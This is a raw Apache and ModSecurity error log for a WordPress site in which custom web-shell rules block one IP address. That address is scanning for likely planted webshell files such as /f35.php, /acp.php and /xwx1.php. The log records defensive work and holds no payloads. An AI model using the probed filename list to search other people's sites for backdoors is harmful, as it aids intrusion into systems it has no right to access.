[Sun Apr 26 01:37:57.783642 2026] [:error] [pid 59896:tid 59906] [client 20.199.101.230:17599] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aez79bLLzhtkd-OXUgBXsAAAAEY"]
[Sun Apr 26 01:37:58.585969 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:53352] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aez79rLLzhtkd-OXUgBXsgAAAEo"]
[Sun Apr 26 01:37:59.378667 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:9405] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aez79_g-28TY8_YLtUfAVAAAAQk"]
[Sun Apr 26 01:37:59.930328 2026] [:error] [pid 59896:tid 59918] [client 20.199.101.230:55059] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aez797LLzhtkd-OXUgBXuAAAAFI"]
[Sun Apr 26 01:38:00.683082 2026] [:error] [pid 59896:tid 59916] [client 20.199.101.230:59856] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aez7-LLLzhtkd-OXUgBXvQAAAFA"]
[Sun Apr 26 01:38:01.610530 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:53331] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aez7-fg-28TY8_YLtUfAXAAAAQw"]
[Sun Apr 26 01:38:02.407327 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:16015] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aez7-vg-28TY8_YLtUfAXwAAARU"]
[Sun Apr 26 01:38:03.642222 2026] [:error] [pid 59985:tid 59995] [client 20.199.101.230:48934] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aez7-wF_zDvEhKvyTH4AgAAAAAg"]
[Sun Apr 26 01:38:04.456786 2026] [:error] [pid 59896:tid 59912] [client 20.199.101.230:26144] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aez7_LLLzhtkd-OXUgBXwwAAAEw"]
[Sun Apr 26 01:38:05.220366 2026] [:error] [pid 59898:tid 59959] [client 20.199.101.230:34953] [client 20.199.101.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aez7_R-4vImxb0kbdzfe1QAAAMU"]
[Sun Apr 26 01:38:06.312123 2026] [:error] [pid 59898:tid 59977] [client 20.199.101.230:43757] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aez7_h-4vImxb0kbdzfe1gAAANc"]
[Sun Apr 26 01:38:07.320594 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:35003] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aez7_7LLzhtkd-OXUgBXyQAAAFg"]
[Sun Apr 26 01:38:07.929065 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:2586] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aez7__g-28TY8_YLtUfAZwAAAQA"]
[Sun Apr 26 01:38:09.669823 2026] [:error] [pid 59896:tid 59911] [client 20.199.101.230:26112] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aez8AbLLzhtkd-OXUgBX0AAAAEs"]
[Sun Apr 26 01:38:10.312717 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:48949] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aez8ArLLzhtkd-OXUgBX0gAAAEo"]
[Sun Apr 26 01:38:11.581079 2026] [proxy_fcgi:error] [pid 59898:tid 59963] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:11.829818 2026] [proxy_fcgi:error] [pid 59898:tid 59965] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:12.100942 2026] [proxy_fcgi:error] [pid 59898:tid 59961] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:12.383531 2026] [proxy_fcgi:error] [pid 59898:tid 59964] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:12.627156 2026] [proxy_fcgi:error] [pid 59898:tid 59958] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:12.904723 2026] [proxy_fcgi:error] [pid 59898:tid 59966] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:13.423309 2026] [proxy_fcgi:error] [pid 59898:tid 59960] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:13.679373 2026] [proxy_fcgi:error] [pid 59898:tid 59967] [client 20.199.101.230:34952] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:38:13.948951 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:34952] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aez8BR-4vImxb0kbdzfe6gAAAMI"]
[Sun Apr 26 01:38:14.760838 2026] [:error] [pid 59896:tid 59908] [client 20.199.101.230:53347] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aez8BrLLzhtkd-OXUgBX4wAAAEg"]
[Sun Apr 26 01:38:15.441325 2026] [:error] [pid 59898:tid 59965] [client 20.199.101.230:43764] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aez8Bx-4vImxb0kbdzfe7wAAAMs"]
[Sun Apr 26 01:38:16.586524 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:48943] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aez8CPg-28TY8_YLtUfAfQAAARU"]
[Sun Apr 26 01:38:18.346162 2026] [:error] [pid 59897:tid 59930] [client 20.199.101.230:48949] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aez8CvBrrkdzpEbmK4fCKQAAAIM"]
[Sun Apr 26 01:38:19.458647 2026] [:error] [pid 59985:tid 60000] [client 20.199.101.230:16003] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aez8CwF_zDvEhKvyTH4AjQAAAA0"]
[Sun Apr 26 01:38:20.162066 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:40021] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aez8DPg-28TY8_YLtUfAgAAAAQM"]
[Sun Apr 26 01:38:20.994545 2026] [:error] [pid 59985:tid 59997] [client 20.199.101.230:16010] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aez8DAF_zDvEhKvyTH4AjwAAAAo"]
[Sun Apr 26 01:38:21.708753 2026] [:error] [pid 59898:tid 59973] [client 20.199.101.230:49726] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez8DR-4vImxb0kbdzfe9AAAANM"]
[Sun Apr 26 01:38:22.848823 2026] [:error] [pid 59896:tid 59906] [client 20.199.101.230:55094] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez8DrLLzhtkd-OXUgBYBwAAAEY"]
[Sun Apr 26 01:38:23.707873 2026] [:error] [pid 59897:tid 59939] [client 20.199.101.230:35007] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez8D_BrrkdzpEbmK4fCLwAAAIw"]
[Sun Apr 26 01:38:24.366580 2026] [:error] [pid 59896:tid 59908] [client 20.199.101.230:52608] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez8ELLLzhtkd-OXUgBYDQAAAEg"]
[Sun Apr 26 01:38:25.098552 2026] [:error] [pid 59896:tid 59906] [client 20.199.101.230:52626] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aez8EbLLzhtkd-OXUgBYEQAAAEY"]
[Sun Apr 26 01:38:25.768262 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:59877] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aez8Efg-28TY8_YLtUfAiQAAARg"]
[Sun Apr 26 01:38:26.413173 2026] [:error] [pid 59897:tid 59932] [client 20.199.101.230:49684] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aez8EvBrrkdzpEbmK4fCMgAAAIU"]
[Sun Apr 26 01:38:27.211037 2026] [:error] [pid 59985:tid 59987] [client 20.199.101.230:29836] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aez8EwF_zDvEhKvyTH4AlQAAAAA"]
[Sun Apr 26 01:38:27.830647 2026] [:error] [pid 59897:tid 59947] [client 20.199.101.230:17568] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aez8E_BrrkdzpEbmK4fCNwAAAJQ"]
[Sun Apr 26 01:38:28.598316 2026] [:error] [pid 59897:tid 59936] [client 20.199.101.230:48899] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aez8FPBrrkdzpEbmK4fCPAAAAIk"]
[Sun Apr 26 01:38:29.304084 2026] [:error] [pid 59985:tid 59998] [client 20.199.101.230:2963] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aez8FQF_zDvEhKvyTH4AmAAAAAs"]
[Sun Apr 26 01:38:30.068456 2026] [:error] [pid 59985:tid 60008] [client 20.199.101.230:40052] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aez8FgF_zDvEhKvyTH4AmwAAABU"]
[Sun Apr 26 01:38:30.988904 2026] [:error] [pid 59985:tid 60010] [client 20.199.101.230:26163] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aez8FgF_zDvEhKvyTH4AowAAABc"]
[Sun Apr 26 01:38:31.882009 2026] [:error] [pid 59985:tid 59987] [client 20.199.101.230:59088] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aez8FwF_zDvEhKvyTH4ApgAAAAA"]
[Sun Apr 26 01:38:32.750425 2026] [:error] [pid 59985:tid 60008] [client 20.199.101.230:59084] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aez8GAF_zDvEhKvyTH4ArgAAABU"]
[Sun Apr 26 01:38:33.841177 2026] [:error] [pid 59898:tid 59967] [client 20.199.101.230:49704] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aez8GR-4vImxb0kbdzffCwAAAM0"]
[Sun Apr 26 01:38:34.537763 2026] [:error] [pid 59897:tid 59933] [client 20.199.101.230:49715] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aez8GvBrrkdzpEbmK4fCQwAAAIY"]
[Sun Apr 26 01:38:35.746082 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:43721] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aez8G_g-28TY8_YLtUfAkQAAARg"]
[Sun Apr 26 01:38:36.391777 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:56279] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aez8HLLLzhtkd-OXUgBYHgAAAFg"]
[Sun Apr 26 01:38:38.170905 2026] [:error] [pid 59896:tid 59905] [client 20.199.101.230:55069] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aez8HrLLzhtkd-OXUgBYJQAAAEU"]
[Sun Apr 26 01:38:39.158379 2026] [:error] [pid 59897:tid 59928] [client 20.199.101.230:34995] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aez8H_BrrkdzpEbmK4fCTQAAAIE"]
[Sun Apr 26 01:38:40.421636 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:34991] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aez8IPg-28TY8_YLtUfAmAAAAQM"]
[Sun Apr 26 01:38:42.153390 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:49697] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aez8Ivg-28TY8_YLtUfAoQAAAQI"]
[Sun Apr 26 01:38:43.380423 2026] [:error] [pid 59898:tid 59960] [client 20.199.101.230:59898] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aez8Ix-4vImxb0kbdzffMQAAAMY"]
[Sun Apr 26 01:38:44.048969 2026] [:error] [pid 59898:tid 59973] [client 20.199.101.230:2969] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aez8JB-4vImxb0kbdzffNAAAANM"]
[Sun Apr 26 01:38:45.817917 2026] [:error] [pid 59897:tid 59929] [client 20.199.101.230:43739] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aez8JfBrrkdzpEbmK4fCYgAAAII"]
[Sun Apr 26 01:38:46.958447 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:43748] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aez8Jvg-28TY8_YLtUfArgAAAQc"]
[Sun Apr 26 01:38:47.698854 2026] [:error] [pid 59896:tid 59915] [client 20.199.101.230:16039] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aez8J7LLzhtkd-OXUgBYMQAAAE8"]
[Sun Apr 26 01:38:48.689037 2026] [:error] [pid 3212:tid 3218] [client 20.199.101.230:48946] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aez8KPg-28TY8_YLtUfAtwAAAQQ"]
[Sun Apr 26 01:38:49.434717 2026] [:error] [pid 59985:tid 60011] [client 20.199.101.230:26166] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aez8KQF_zDvEhKvyTH4AvwAAABg"]
[Sun Apr 26 01:38:51.103165 2026] [:error] [pid 59897:tid 59948] [client 20.199.101.230:53350] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aez8K_BrrkdzpEbmK4fCaQAAAJU"]
